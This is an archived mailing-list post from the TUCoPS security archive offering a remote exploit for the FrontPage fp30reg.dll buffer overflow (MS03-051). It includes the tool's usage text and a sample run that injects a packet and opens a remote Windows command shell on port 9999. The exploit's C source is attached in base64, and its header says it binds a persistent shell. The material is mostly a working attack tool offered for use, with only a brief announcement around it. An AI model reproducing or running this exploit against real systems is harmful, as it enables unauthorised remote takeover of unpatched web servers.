TUCoPS :: Windows :: bt1729.txt

Microsoft FPSE fp30reg.dll Overflow Remote Exploit (MS03-051)


------------663C1391E33B5D5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hello folks,
If anyone is interested in an exploit for recently announced FPSE fp30reg.dll 
overflow bug (MS03-051) by Brett Moore, u can pick it up at 
http://netninja.to.kg

---- fp30reg.dll overflow -------

C:\fp30reg

-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver 0.2 }=-

 by Adik < netmaniac [at] hotmail.KG >
 http://netninja.to.kg

 Usage: fp30reg [Target] <port>
 eg: fp30reg.exe 192.168.63.130

C:\>fp30reg 192.168.63.130

-={ Frontpage fp30reg.dll Overflow Exploit (MS03-051) ver 0.2 }=-

 by Adik < netmaniac [at] hotmail.KG >
 http://netninja.to.kg

[*] Target:     192.168.63.130  Port: 80

[*] Socket initialized...
[*] Checking for presence of fp30reg.dll... Found!
[*] Packet injected!
[*] Sleeping . . . . . . . . . . . . .
[*] Connecting to host: 192.168.63.130 on port 9999
[*] Dropping to shell...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

------------

CHeerz,

Adik
------------663C1391E33B5D5
Content-Type: application/octet-stream; name="fp30reg.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="fp30reg.c"

DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqDQoNCkZyb250cGFnZSBmcDMwcmVnLmRsbCBPdmVy
ZmxvdyAoTVMwMy0wNTEpIGRpc2NvdmVyZWQgYnkgQnJldHQgTW9vcmUNCg0KRXhwbG9pdCBieSBB
ZGlrIDwgbmV0bWFuaWFjIFthdF0gaG90bWFpbC5rZyA+DQoNCkJpbmRzIHBlcnNpc3RlbnQgY29t
bWFuZCBzaGVsbCBvbiBwb3J0IDk5OTkNClRlc3RlZCBvbiAJCQ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ZHI7DQoJDQoJaWYgKChpcGFkZHIgPSBpbmV0X2FkZHIoaG9zdG5h
bWUpKSA8IDApIA0KCXsNCgkJaWYgKChoZSA9IGdldGhvc3RieW5hbWUoaG9zdG5hbWUpKSA9PSBO
VUxMKSANCgkJew0KCQkJcHJpbnRmKCJbeF0gRmFpbGVkIHRvIHJlc29sdmUgaG9zdDogJXMhIEV4
aXRpbmcuLi5cblxuIixob3N0bmFtZSk7DQoJCQlXU0FDbGVhbnVwKCk7DQoJCQlleGl0KDEpOw0K
CQl9DQoJCW1lbWNweSgmaXBhZGRyLCBoZS0+aF9hZGRyLCBoZS0+aF9sZW5ndGgpOw0KCX0JDQoJ
cmV0dXJuIGlwYWRkcjsNCn0NCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQo=

------------663C1391E33B5D5
Content-Type: text/plain

Scanned by evaluation version of Dr.Web antivirus Daemon 
http://drweb.ru/unix/


------------663C1391E33B5D5--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH